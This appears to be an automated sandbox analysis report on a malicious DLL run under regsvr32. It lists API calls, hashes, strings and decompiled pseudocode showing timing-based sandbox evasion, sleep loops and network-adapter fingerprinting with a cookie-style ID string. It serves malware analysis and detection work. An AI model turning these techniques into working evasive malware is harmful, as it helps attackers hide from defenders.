Instruction ID: 8039e717df423dcfb2cdb2c1097e64be209abc9e64a418051bdd6bda65102b79
Opcode Fuzzy Hash: c3a72f5bfcfd91918b5e83c3bb15c180b6cc2b39742bdcf2d413e26ac2e8c0cf
Instruction Fuzzy Hash: 1E719D72301B8197EB2ACF66E850BD93BA5FB4DB94F0981259F4943B14DF38C695C700

Uniqueness

Uniqueness Score: -1.00%

Function 003122DC, Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

LookupAccountNameW.ADVAPI32 ref: 0031233C

Memory Dump Source

Source File: 00000003.00000002.2102333908.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: true

Similarity

API ID: AccountLookupName
String ID:
API String ID: 1484870144-0
Opcode ID: cafe0df7641921cb4b3b83197fca258bc474e661d5f4a52d45703bbf776aa30b
Instruction ID: ba67d5b3ffcd754f74f437990838a7355b0a424669c04951dd2540826055d1e4
Opcode Fuzzy Hash: cafe0df7641921cb4b3b83197fca258bc474e661d5f4a52d45703bbf776aa30b
Instruction Fuzzy Hash: 9A317E72701B418AEB168FB6E8443DE73A4EB4DB88F594135DA4D57B18EF38C659C340

Uniqueness

Uniqueness Score: -1.00%

Function 00311678, Relevance: 1.6, APIs: 1, Instructions: 77nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,00000000,00312CB1,?,?,00000003,003124A4), ref: 003116CB

Memory Dump Source

Source File: 00000003.00000002.2102333908.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: true

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 15ab51baa947bc1f3c3fdf1eb6848148db47552542206cc3bcd8ce7c2f187386
Instruction ID: dfe3cbf9a2b42352344c9922ffbd2f0eea1f4f60939fe4946b6f39e24f85bfa3
Opcode Fuzzy Hash: 15ab51baa947bc1f3c3fdf1eb6848148db47552542206cc3bcd8ce7c2f187386
Instruction Fuzzy Hash: 05215E76315B4083EB1BDB52A8443E9A2A9BB8DBD1F194034DF4A47794EF3CCA858700

Uniqueness

Uniqueness Score: -1.00%

Function 00312434, Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00312434(void* __eax, signed long long __rax, signed long long __rbx, signed int __rcx, signed long long __rdx, long long __rdi, void* __rsi, void* __r9, void* __r11, void* __r14) {
				void* __rbp;
				void* _t27;
				void* _t40;
				void* _t41;
				signed long long _t51;
				signed long long _t52;
				signed long long _t64;
				long long _t69;
				void* _t73;
				void* _t75;
				void* _t82;

				_t82 = __r9;
				_t71 = __rsi;
				_t69 = __rdi;
				_t64 = __rdx;
				_t52 = __rbx;
				_t51 = __rax;
				 *((long long*)(_t75 + 0x18)) = __rbx;
				 *((long long*)(_t75 + 0x20)) = __rdi;
				_t73 = _t75 - 0x57;
				_t4 = _t52 + 4; // 0x4
				_t40 = _t4;
				goto L1;
				L9:
				return 0;
				L1:
				asm("rdtsc");
				_t64 = _t64 << 0x20;
				_t51 = _t51 | _t64;
				_t52 = _t52 << 0x00000010 | __rcx;
				SleepEx(??, ??); // executed
				_t69 = _t69 - 1;
				if(_t69 != 0) {
					goto L1;
				} else {
					wsprintfA();
					E003111FC(_t73 - 0x29, _t52);
					_t37 = E0031153C(_t73 - 0x29);
					E00312C08( *((intOrPtr*)(_t73 + 0x17)), _t23, _t40, _t51, _t52, __rsi, _t73, _t73 - 0x49, _t82);
					_t44 = _t51;
					if(_t51 != 0) {
						_t80 = _t73 + 0x67;
						if(E00311EEC(_t37, _t44, _t51, _t52, _t73 + 0x1b, _t51, _t71, _t73, _t73 + 0x67, _t73 + 0x6f, __r11, __r14) != 0) {
							_t67 =  *((intOrPtr*)(_t73 + 0x6f));
							if( *((intOrPtr*)(_t73 + 0x6f)) >= 0x400) {
								_t27 = E0031272C(0, _t37, _t40,  *((intOrPtr*)(_t73 + 0x67)), _t67, _t69, _t73, _t80, __r11, __r14);
								_t55 =  *((intOrPtr*)(_t73 + 0x67));
								_t41 = _t27;
								if( *((intOrPtr*)(_t73 + 0x67)) != 0) {
									GetProcessHeap();
									HeapFree(??, ??, ??);
								}
								E00311FD0(_t41, _t51, _t55, _t73 - 0x49, _t71);
								_t49 = _t51;
								if(_t51 != 0) {
									E00312A1C(_t49, _t73 + 0x1b, _t51);
								}
							}
						}
					}
					goto L9;
				}
			}

0x00312434
0x00312434
0x00312434
0x00312434
0x00312434
0x00312434
0x00312434
0x00312439
0x0031243f
0x0031244d
0x0031244d
0x0031244d
0x00312512
0x00312528
0x00312450
0x00312454
0x00312456
0x0031245a
0x00312460
0x00312468
0x0031246e
0x00312472
0x00000000
0x00312474
0x00312482
0x0031248c
0x0031249d
0x0031249f
0x003124a4
0x003124a7
0x003124b0
0x003124bf
0x003124c1
0x003124cc
0x003124d2
0x003124d7
0x003124db
0x003124e0
0x003124e2
0x003124f0
0x003124f0
0x003124fc
0x00312501
0x00312504
0x0031250d
0x0031250d
0x00312504
0x003124cc
0x003124bf
0x00000000
0x003124a7

APIs

SleepEx.KERNEL32 ref: 00312468

Memory Dump Source

Source File: 00000003.00000002.2102333908.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: true

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 20254b6f6f1ff962b78622cb32e4c72357f2ae928b9d5189ffb1cb94102db212
Instruction ID: 5f51b09dfd7cdb685be31d71cbd917b3c606d010e457662d4a700eb71857db55
Opcode Fuzzy Hash: 20254b6f6f1ff962b78622cb32e4c72357f2ae928b9d5189ffb1cb94102db212
Instruction Fuzzy Hash: 3C21B372300A409ADF1ADFB1D4503DE6366F74C784F494426DF4D57649EE38D699C350

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF8FB1370, Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000007FEF8FB13FA

Strings

G, xrefs: 000007FEF8FB1426
G, xrefs: 000007FEF8FB15AF
G, xrefs: 000007FEF8FB1448
2, xrefs: 000007FEF8FB14F9
G, xrefs: 000007FEF8FB141B
EiFgBnIoIsIqIrIsJhJeJfJg;o;nJjJk?dJmJnJoJpJqJrJs?d;e;f;g;h;i;j;k;l;m;n;o;p;q;r;s<d<e<f<g<h<i<j<k<l<m<n<o<p<q<r<s=d=e=f=gGh=i=j=k=j>jDd=i=pDm=kIf<eCm>gBsJm<hAf@s@e?n<n?o?r@f@m?q=e=pAf=d=i=o=l=l>pAm=l=rAp>s>o=eBd>l>pBg<d<n;iBk>i>j>r>rBf@d@g@i?hAeAfAgAhAiAjAk?qEl, xrefs: 000007FEF8FB13FD
G, xrefs: 000007FEF8FB1431
7, xrefs: 000007FEF8FB14E1
G, xrefs: 000007FEF8FB1458
G, xrefs: 000007FEF8FB137C

Memory Dump Source

Source File: 00000003.00000002.2106009185.000007FEF8FB1000.00000020.00020000.sdmp, Offset: 000007FEF8FB0000, based on PE: true

Associated: 00000003.00000002.2105996558.000007FEF8FB0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106068226.000007FEF8FB5000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106098409.000007FEF8FBE000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106111651.000007FEF8FC0000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID: 2$7$EiFgBnIoIsIqIrIsJhJeJfJg;o;nJjJk?dJmJnJoJpJqJrJs?d;e;f;g;h;i;j;k;l;m;n;o;p;q;r;s<d<e<f<g<h<i<j<k<l<m<n<o<p<q<r<s=d=e=f=gGh=i=j=k=j>jDd=i=pDm=kIf<eCm>gBsJm<hAf@s@e?n<n?o?r@f@m?q=e=pAf=d=i=o=l=l>pAm=l=rAp>s>o=eBd>l>pBg<d<n;iBk>i>j>r>rBf@d@g@i?hAeAfAgAhAiAjAk?qEl$G$G$G$G$G$G$G
API String ID: 4275171209-1517691801
Opcode ID: 9f30d811a221398f518b31910462adcca0b5cd8e48923cbb55d48ba8a3c95936
Instruction ID: ca2938b5bc2ab7f46aca023ee6394d65c54054d49ca74a4c487f6248e662f014
Opcode Fuzzy Hash: 9f30d811a221398f518b31910462adcca0b5cd8e48923cbb55d48ba8a3c95936
Instruction Fuzzy Hash: 0451E0B251D6C5CAE3A18B28B49479BBFA0F386358F105128E6CD4BBA9C37DC518CF44

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF8FB11B0, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66threadsynchronizationCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 000007FEF8FB11EC
GetThreadPriority.KERNEL32 ref: 000007FEF8FB11FA
GetCurrentThread.KERNEL32 ref: 000007FEF8FB1204
CreateThread.KERNEL32 ref: 000007FEF8FB123C
WaitForSingleObject.KERNEL32 ref: 000007FEF8FB124F
DuplicateHandle.KERNEL32 ref: 000007FEF8FB128D

Strings

DllRegisterServer, xrefs: 000007FEF8FB12F6
_, xrefs: 000007FEF8FB1293
G, xrefs: 000007FEF8FB12DF

Memory Dump Source

Source File: 00000003.00000002.2106009185.000007FEF8FB1000.00000020.00020000.sdmp, Offset: 000007FEF8FB0000, based on PE: true

Associated: 00000003.00000002.2105996558.000007FEF8FB0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106068226.000007FEF8FB5000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106098409.000007FEF8FBE000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106111651.000007FEF8FC0000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$CreateCurrentDuplicateHandleObjectPriorityResumeSingleWait
String ID: DllRegisterServer$G$_
API String ID: 1174013218-1650116920
Opcode ID: fb96d5351e15185721c7c678f22100d1a9f993aebe460c17edc53ec82f678213
Instruction ID: 3f6dfe96583287e2132e89248d3fe6d141595118fd8055dab05f5fe12df3ddc3
Opcode Fuzzy Hash: fb96d5351e15185721c7c678f22100d1a9f993aebe460c17edc53ec82f678213
Instruction Fuzzy Hash: 30310772908B868AE7A4CF25F84435AB7E1F7893A4F504039E68C97B78DB3DD1448F40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF8FB20A0, Relevance: 3.4, APIs: 1, Strings: 1, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000007FEF8FB220B

Strings

@, xrefs: 000007FEF8FB21E1

Memory Dump Source

Source File: 00000003.00000002.2106009185.000007FEF8FB1000.00000020.00020000.sdmp, Offset: 000007FEF8FB0000, based on PE: true

Associated: 00000003.00000002.2105996558.000007FEF8FB0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106068226.000007FEF8FB5000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106098409.000007FEF8FBE000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106111651.000007FEF8FC0000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID: @
API String ID: 4275171209-2766056989
Opcode ID: 81cc5fa61e63df9641c82d5ec4088076d96df196aa3fedfd4a34d15b22035c1b
Instruction ID: 93e7fb77665375a9f577d392b660a0ccbaf77ebf490505a570474afec7383057
Opcode Fuzzy Hash: 81cc5fa61e63df9641c82d5ec4088076d96df196aa3fedfd4a34d15b22035c1b
Instruction Fuzzy Hash: 62326C76609BC58AD7B5CB56F49079AB7A5F789B90F10802AEACC93B18DB3CC154CF01

Uniqueness

Uniqueness Score: -1.00%

Function 003110AC, Relevance: 3.0, APIs: 2, Instructions: 10COMMON

Download Yara Rule

APIs

SleepEx.KERNEL32 ref: 003110B7
RtlExitUserProcess.NTDLL ref: 003110C8

Memory Dump Source

Source File: 00000003.00000002.2102333908.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: true

Similarity

API ID: ExitProcessSleepUser
String ID:
API String ID: 354099737-0
Opcode ID: 0042952dd3aad89d8123fb1b19f0e5b4d8c6ab7462fdf89570b08f587bfd53b2
Instruction ID: 552499f61b09e7461f307abba5ef2f15989b63fd11695dc230060e4c3dbc2a50
Opcode Fuzzy Hash: 0042952dd3aad89d8123fb1b19f0e5b4d8c6ab7462fdf89570b08f587bfd53b2
Instruction Fuzzy Hash: C9C08C34900680C2F31F9762E9483E9623CA34C30AF020619C30305AE08F3C06C8C307

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF8FB3100, Relevance: 1.7, APIs: 1, Instructions: 216libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 000007FEF8FB327B

Memory Dump Source

Source File: 00000003.00000002.2106009185.000007FEF8FB1000.00000020.00020000.sdmp, Offset: 000007FEF8FB0000, based on PE: true

Associated: 00000003.00000002.2105996558.000007FEF8FB0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106068226.000007FEF8FB5000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106098409.000007FEF8FBE000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106111651.000007FEF8FC0000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 71a4d3e6afc3869dd51c089c56fbff1864f24b1d1d871186f2474ca292a1132a
Instruction ID: 9dbeb4177cc0291c960bbfa91b59b6af253aaf81e4de24522d48fd320fe39546
Opcode Fuzzy Hash: 71a4d3e6afc3869dd51c089c56fbff1864f24b1d1d871186f2474ca292a1132a
Instruction Fuzzy Hash: 49D13F76509BC586D764CB59F49039AB7A1F3C9790F10802AEBCD93B68DF79C4948F40

Uniqueness

Uniqueness Score: -1.00%

Function 0031260C, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,0000011C,00311E13), ref: 0031264B

Memory Dump Source

Source File: 00000003.00000002.2102333908.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: true

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: e07d5386416b452ae357def83d54998eea7d12d9b96eaf79d3048644093a814a
Instruction ID: dd0f7ee722148995385f4e4f3d0433fd7bea81744e8bd8c4297899bc830ce2d6
Opcode Fuzzy Hash: e07d5386416b452ae357def83d54998eea7d12d9b96eaf79d3048644093a814a
Instruction Fuzzy Hash: 48E09272724641C2DF16EB20E8443D93374FB9C704F880122858E026A0EF2CC79DC700

Uniqueness

Uniqueness Score: -1.00%

Function 00311000, Relevance: 1.5, APIs: 1, Instructions: 13threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00311022

Memory Dump Source

Source File: 00000003.00000002.2102333908.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: true

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: d810e3ef372af79f05ccbcc8a3c3fc3137e58aa0d92ff2561a569d39733649b8
Instruction ID: 4671f7c9ed46b1f55aac6e59afa4177cf7ebc731342d12fe69fb3061579a6824
Opcode Fuzzy Hash: d810e3ef372af79f05ccbcc8a3c3fc3137e58aa0d92ff2561a569d39733649b8
Instruction Fuzzy Hash: 4CD0A972E1028083E7368B20EA163DA672AF3EC319F808206DA4A44964CF3CC398CA04

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000007FEF8FB15D0, Relevance: 1.7, Strings: 1, Instructions: 430COMMON

Download Yara Rule

Strings

%, xrefs: 000007FEF8FB17B2

Memory Dump Source

Source File: 00000003.00000002.2106009185.000007FEF8FB1000.00000020.00020000.sdmp, Offset: 000007FEF8FB0000, based on PE: true

Associated: 00000003.00000002.2105996558.000007FEF8FB0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106068226.000007FEF8FB5000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106098409.000007FEF8FBE000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106111651.000007FEF8FC0000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: %
API String ID: 0-2567322570
Opcode ID: 4c9ee2add8f40c47592069122d8a0d8c3d159a18c784029c3ab9a24ce0be2f6a
Instruction ID: ab3488ce0eceea3ee0bc7ce3bd4693e277bc5914e51a9d1bbe048e8b25635434
Opcode Fuzzy Hash: 4c9ee2add8f40c47592069122d8a0d8c3d159a18c784029c3ab9a24ce0be2f6a
Instruction Fuzzy Hash: 0E42A0B6A0C7D58AD7B08F15E0503ABBBE1F789744F10512AEAC986B59EB3CC480DF11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF8FB41BF, Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2106009185.000007FEF8FB1000.00000020.00020000.sdmp, Offset: 000007FEF8FB0000, based on PE: true

Associated: 00000003.00000002.2105996558.000007FEF8FB0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106068226.000007FEF8FB5000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106098409.000007FEF8FBE000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.2106111651.000007FEF8FC0000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18e12339979919f4a0dc9a07f2e75115fd9bef9f15be47883a766d79ea54979f
Instruction ID: eaee352713882f45d60a20d6ad9de963d35200938772eb6fe9546e390b03a86b
Opcode Fuzzy Hash: 18e12339979919f4a0dc9a07f2e75115fd9bef9f15be47883a766d79ea54979f
Instruction Fuzzy Hash: 4AC1A977A18BC586D760CF1AE44179ABBA4F3987D0F00852AEA9D83B69DB7CC450CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00311E50, Relevance: .0, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E00311E50(intOrPtr __ebx, intOrPtr __edx, signed long long __rax, long long __rbx, signed long long __rdx, signed long long __rsi) {
				signed int _t18;
				signed long long _t31;
				signed long long _t34;
				signed long long _t41;
				signed long long _t42;
				signed long long _t43;
				signed long long _t44;
				void* _t45;
				signed long long _t47;
				long long _t49;
				void* _t51;
				void* _t52;

				_t47 = __rsi;
				_t41 = __rdx;
				_t31 = __rax;
				 *((long long*)(_t51 + 8)) = __rbx;
				 *((long long*)(_t51 + 0x10)) = _t49;
				 *((long long*)(_t51 + 0x18)) = __rsi;
				_push(_t45);
				_t52 = _t51 - 0x30;
				do {
					SwitchToThread();
					asm("rdtsc");
					_t42 = _t41 << 0x20;
					asm("cpuid");
					 *((intOrPtr*)(_t52 + 0x20)) = 1;
					 *((intOrPtr*)(_t52 + 0x24)) = __ebx;
					 *((intOrPtr*)(_t52 + 0x28)) = 0;
					 *((intOrPtr*)(_t52 + 0x2c)) = __edx;
					asm("rdtsc");
					_t43 = _t42 << 0x20;
					_t34 = (_t31 | _t42 | _t43) - (_t31 | _t42);
					_t45 = _t45 + _t34;
					_t18 = SwitchToThread();
					asm("rdtsc");
					_t44 = _t43 << 0x20;
					asm("rdtsc");
					_t41 = _t44 << 0x20;
					_t31 = (_t34 | _t44 | _t41) - (_t34 | _t44);
					_t47 = _t47 + _t31;
					_t49 = _t49 - 1;
				} while (_t49 != 0);
				return _t18 / _t47;
			}

0x00311e50
0x00311e50
0x00311e50
0x00311e50
0x00311e55
0x00311e5a
0x00311e5f
0x00311e60
0x00311e6b
0x00311e6b
0x00311e71
0x00311e73
0x00311e84
0x00311e86
0x00311e8a
0x00311e8e
0x00311e92
0x00311e96
0x00311e98
0x00311e9f
0x00311ea2
0x00311ea5
0x00311eab
0x00311ead
0x00311eb8
0x00311eba
0x00311ec1
0x00311ec4
0x00311ec7
0x00311ec7
0x00311ee9

Memory Dump Source

Source File: 00000003.00000002.2102333908.0000000000310000.00000040.00000001.sdmp, Offset: 00310000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2318fb796138583acd0950f01f63cac7e4af46243d00b3ebc09f9ecd2c5c3d1b
Instruction ID: 124ab5e79cf760fd021e40c324bd9e5fc90414d19ecf6a23b981258723d2f92a
Opcode Fuzzy Hash: 2318fb796138583acd0950f01f63cac7e4af46243d00b3ebc09f9ecd2c5c3d1b
Instruction Fuzzy Hash: B101D472B24B908BDF248F36B600389B6A2F38D7C4F148535EB9C43B18DA3CD5958B04

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exe PID: 2536 Parent PID: 2364 regsvr32.exeCOMMON

Executed Functions

Function 001B27BC, Relevance: 3.1, APIs: 2, Instructions: 87
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E001B27BC(long long __rbx, void* __rcx, signed long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				void* __rdi;
				int _t23;
				void* _t24;
				void* _t27;
				intOrPtr _t35;
				void* _t36;
				intOrPtr* _t44;
				long long _t46;
				intOrPtr* _t48;
				intOrPtr* _t54;
				intOrPtr* _t62;
				signed long long _t64;
				long long* _t67;
				intOrPtr* _t69;
				void* _t77;
				void* _t78;
				struct HINSTANCE__* _t79;
				void* _t80;
				CHAR* _t82;
				char* _t83;

				_t64 = __rsi;
				_t46 = __rbx;
				_t44 = _t69;
				 *((long long*)(_t44 + 8)) = __rbx;
				 *((long long*)(_t44 + 0x18)) = __rbp;
				 *((long long*)(_t44 + 0x20)) = __rsi;
				_push(_t62);
				_t80 = __rcx;
				_t83 = L"; _gid=";
				 *(_t44 + 0x10) =  *(_t44 + 0x10) & 0;
				LoadLibraryA(_t82);
				GetProcAddress(_t79);
				_t67 = _t44;
				if(_t44 == 0) {
					L6:
					r9d = 1;
					_t23 = E001B2990(_t36, _t44, _t46, _t80, L"; _gid=", _t62, 0x1b70c4, _t77, _t78);
					L7:
					return _t23;
				}
				_t24 =  *_t67(); // executed
				if(_t24 == 0x6f && __rbx != 0) {
					GetProcessHeap();
					_t9 = _t64 + 8; // 0x8
					_t36 = _t9;
					HeapAlloc(??, ??, ??);
					_t62 = _t44;
					if(_t44 == 0) {
						goto L6;
					}
					_t54 = _t44; // executed
					_t27 =  *_t67(); // executed
					if(_t27 == 0) {
						_t48 = _t62;
						do {
							if( *((char*)(_t48 + 0x1c0)) != 0x30 ||  *((char*)(_t48 + 0x1c1)) != 0x2e) {
								_t35 =  *((intOrPtr*)(_t48 + 0x194));
								if(_t54 - 1 <= 7) {
									r9d = _t35;
									_t18 = _t48 + 0x198; // 0x198
									_t54 = _t80 + _t64 * 2;
									E001B2990(_t36, _t44, _t48, _t54, _t83, _t62, _t18, _t77, _t78);
									_t64 = _t64 + _t44;
									_t83 = ":";
								}
							}
							_t48 =  *_t48;
						} while (_t48 != 0);
						GetProcessHeap();
						_t36 = 0;
						_t23 = HeapFree(??, ??, ??);
						if(_t64 == 0) {
							goto L6;
						}
						goto L7;
					}
					GetProcessHeap();
					_t36 = 0;
					HeapFree(??, ??, ??);
				}
			}

0x001b27bc
0x001b27bc
0x001b27bc
0x001b27bf
0x001b27c3
0x001b27c7
0x001b27cb
0x001b27d4
0x001b27d7
0x001b27e7
0x001b27ea
0x001b27fa
0x001b2800
0x001b2806
0x001b285f
0x001b285f
0x001b2876
0x001b287b
0x001b2893
0x001b2893
0x001b280f
0x001b2814
0x001b281f
0x001b282c
0x001b282c
0x001b282f
0x001b2835
0x001b283b
0x00000000
0x00000000
0x001b2842
0x001b2845
0x001b2849
0x001b2894
0x001b2897
0x001b289e
0x001b28a9
0x001b28b5
0x001b28b7
0x001b28ba
0x001b28c1
0x001b28c8
0x001b28cd
0x001b28d0
0x001b28d0
0x001b28b5
0x001b28d7
0x001b28da
0x001b28df
0x001b28e8
0x001b28ed
0x001b28f6
0x00000000
0x00000000
0x00000000
0x001b28fc
0x001b284b
0x001b2854
0x001b2859
0x001b2859

APIs

GetAdaptersInfo.IPHLPAPI(?,?,00000000,001B2CFE,?,?,00000003,001B24A4), ref: 001B280F
GetAdaptersInfo.IPHLPAPI(?,?,00000000,001B2CFE,?,?,00000003,001B24A4), ref: 001B2845

Memory Dump Source

Source File: 00000004.00000002.2109488986.00000000001B0000.00000040.00000001.sdmp, Offset: 001B0000, based on PE: true

Similarity

API ID: AdaptersInfo
String ID:
API String ID: 3177971545-0
Opcode ID: fc699fa13e68b788d874d6a78f58e359039745370b383d3aa825a9febfb906a8
Instruction ID: c60b736c70a9bf67489b71118c13e7adc89abf349c8ce38b573650b6f9e0f5ab
Opcode Fuzzy Hash: fc699fa13e68b788d874d6a78f58e359039745370b383d3aa825a9febfb906a8
Instruction Fuzzy Hash: 21316B76705B8196EB15EB66E8407D977A0FB89F94F488026EF0D0775AEF38C58AC340

Uniqueness

Uniqueness Score: -1.00%

Function 001B1810, Relevance: 1.7, APIs: 1, Instructions: 198memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL ref: 001B1A08

Memory Dump Source

Source File: 00000004.00000002.2109488986.00000000001B0000.00000040.00000001.sdmp, Offset: 001B0000, based on PE: true

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c3a72f5bfcfd91918b5e83c3bb15c180b6cc2b39742bdcf2d413e26ac2e8c0cf
Instruction ID: 5be9b9012fc57d3ca06ec49e383a8e517c543350cab4152e28e5ac8411bb9b6b
Opcode Fuzzy Hash: c3a72f5bfcfd91918b5e83c3bb15c180b6cc2b39742bdcf2d413e26ac2e8c0cf
Instruction Fuzzy Hash: 1871DB32311B819BEB24CF66E860BE937A5FB48B94F858129EE4A43B54DF38D595C700

Uniqueness

Uniqueness Score: -1.00%

Function 001B1678, Relevance: 1.6, APIs: 1, Instructions: 77nativeCOMMON

Download Yara Rule

APIs

NtQuerySystemInformation.NTDLL(?,?,00000000,001B2CB1,?,?,00000003,001B24A4), ref: 001B16CB

Memory Dump Source

Source File: 00000004.00000002.2109488986.00000000001B0000.00000040.00000001.sdmp, Offset: 001B0000, based on PE: true

Similarity

API ID: InformationQuerySystem
String ID:
API String ID: 3562636166-0
Opcode ID: 15ab51baa947bc1f3c3fdf1eb6848148db47552542206cc3bcd8ce7c2f187386
Instruction ID: de5eaa73b4bf9c880d833e3b3f886915295f1350fa53a2abd89165a0753c6d5c
Opcode Fuzzy Hash: 15ab51baa947bc1f3c3fdf1eb6848148db47552542206cc3bcd8ce7c2f187386
Instruction Fuzzy Hash: AA217C75315B4093EF04AB56E8643E972A2BB89BC1F9A8034EE0A87715EF3CC8458700

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF8F91370, Relevance: 16.6, APIs: 1, Strings: 10, Instructions: 107memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000007FEF8F913FA

Strings

G, xrefs: 000007FEF8F91431
G, xrefs: 000007FEF8F91458
G, xrefs: 000007FEF8F915AF
G, xrefs: 000007FEF8F91426
2, xrefs: 000007FEF8F914F9
G, xrefs: 000007FEF8F9141B
G, xrefs: 000007FEF8F91448
EiFgBnIoIsIqIrIsJhJeJfJg;o;nJjJk?dJmJnJoJpJqJrJs?d;e;f;g;h;i;j;k;l;m;n;o;p;q;r;s<d<e<f<g<h<i<j<k<l<m<n<o<p<q<r<s=d=e=f=gGh=i=j=k=j>jDd=i=pDm=kIf<eCm>gBsJm<hAf@s@e?n<n?o?r@f@m?q=e=pAf=d=i=o=l=l>pAm=l=rAp>s>o=eBd>l>pBg<d<n;iBk>i>j>r>rBf@d@g@i?hAeAfAgAhAiAjAk?qEl, xrefs: 000007FEF8F913FD
7, xrefs: 000007FEF8F914E1
G, xrefs: 000007FEF8F9137C

Memory Dump Source

Source File: 00000004.00000002.2111930579.000007FEF8F91000.00000020.00020000.sdmp, Offset: 000007FEF8F90000, based on PE: true

Associated: 00000004.00000002.2111913934.000007FEF8F90000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111943856.000007FEF8F95000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111971681.000007FEF8F9E000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2111986744.000007FEF8FA0000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID: 2$7$EiFgBnIoIsIqIrIsJhJeJfJg;o;nJjJk?dJmJnJoJpJqJrJs?d;e;f;g;h;i;j;k;l;m;n;o;p;q;r;s<d<e<f<g<h<i<j<k<l<m<n<o<p<q<r<s=d=e=f=gGh=i=j=k=j>jDd=i=pDm=kIf<eCm>gBsJm<hAf@s@e?n<n?o?r@f@m?q=e=pAf=d=i=o=l=l>pAm=l=rAp>s>o=eBd>l>pBg<d<n;iBk>i>j>r>rBf@d@g@i?hAeAfAgAhAiAjAk?qEl$G$G$G$G$G$G$G
API String ID: 4275171209-1517691801
Opcode ID: 9f30d811a221398f518b31910462adcca0b5cd8e48923cbb55d48ba8a3c95936
Instruction ID: d58402523aa45de61867f6b8ded07bb346793c2564f4517cd5f4910259ccd42d
Opcode Fuzzy Hash: 9f30d811a221398f518b31910462adcca0b5cd8e48923cbb55d48ba8a3c95936
Instruction Fuzzy Hash: F451E1B251D6C48AE3A18B24E89479BBFA0F386358F145158E6CD4BBA9C37DC514CF44

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF8F911B0, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66threadsynchronizationCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 000007FEF8F911EC
GetThreadPriority.KERNEL32 ref: 000007FEF8F911FA
GetCurrentThread.KERNEL32 ref: 000007FEF8F91204
CreateThread.KERNEL32 ref: 000007FEF8F9123C
WaitForSingleObject.KERNEL32 ref: 000007FEF8F9124F
DuplicateHandle.KERNEL32 ref: 000007FEF8F9128D

Strings

_, xrefs: 000007FEF8F91293
DllRegisterServer, xrefs: 000007FEF8F912F6
